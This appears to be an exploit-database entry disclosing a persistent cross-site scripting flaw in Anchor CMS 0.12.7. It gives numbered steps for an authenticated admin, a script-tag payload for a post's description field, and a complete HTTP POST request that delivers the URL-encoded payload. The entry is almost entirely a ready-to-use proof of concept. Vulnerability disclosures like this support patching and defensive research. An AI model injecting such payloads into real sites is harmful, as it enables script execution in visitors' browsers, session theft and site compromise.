Anchor CMS 0.12.7 Cross Site Scripting

`# Exploit Title: Anchor CMS 0.12.7 - Persistent Cross-Site Scripting (Authenticated)  
# Date: 2020-09-24  
# Exploit Author: Sinem Şahin  
# Vendor Homepage: https://anchorcms.com/  
# Version: 0.12.7  
# Tested on: Windows & XAMPP  
  
==> Tutorial <==  
  
1- Go to the following url. => http://(HOST)/admin/  
2- Login to admin panel.  
3- Press "Posts" button.  
4- Write XSS Payload into the description of the post.  
5- Press "Save" button.  
6- Go to the post.  
  
XSS Payload ==> "><script>alert("XSS")</script>  
  
==> HTTP Request <==  
  
POST /admin/posts/edit/1 HTTP/1.1  
Host: (HOST)  
Content-Length: 262  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36  
X-Requested-With: XMLHttpRequest  
Content-Type: application/x-www-form-urlencoded  
Accept: /  
Origin: http://(HOST)/  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://(HOST)/admin/posts/edit/1  
Accept-Encoding: gzip, deflate  
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7  
Cookie: anchorcms=21cdfqefqwefl69ij8231  
Connection: close  
  
token=mWgKk1tbYN6HAcj0jr6K2VKxBf6C311uemwTIrmEaHIi0zQpe7pNfHVm7zcoa3Fi&title=Post+Title&markdown=%0A&slug=hello-world&created=2020-09-24%2019%3A07%3A10  
&description=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E&status=published&category=1&css=&js=&autosave=false  
`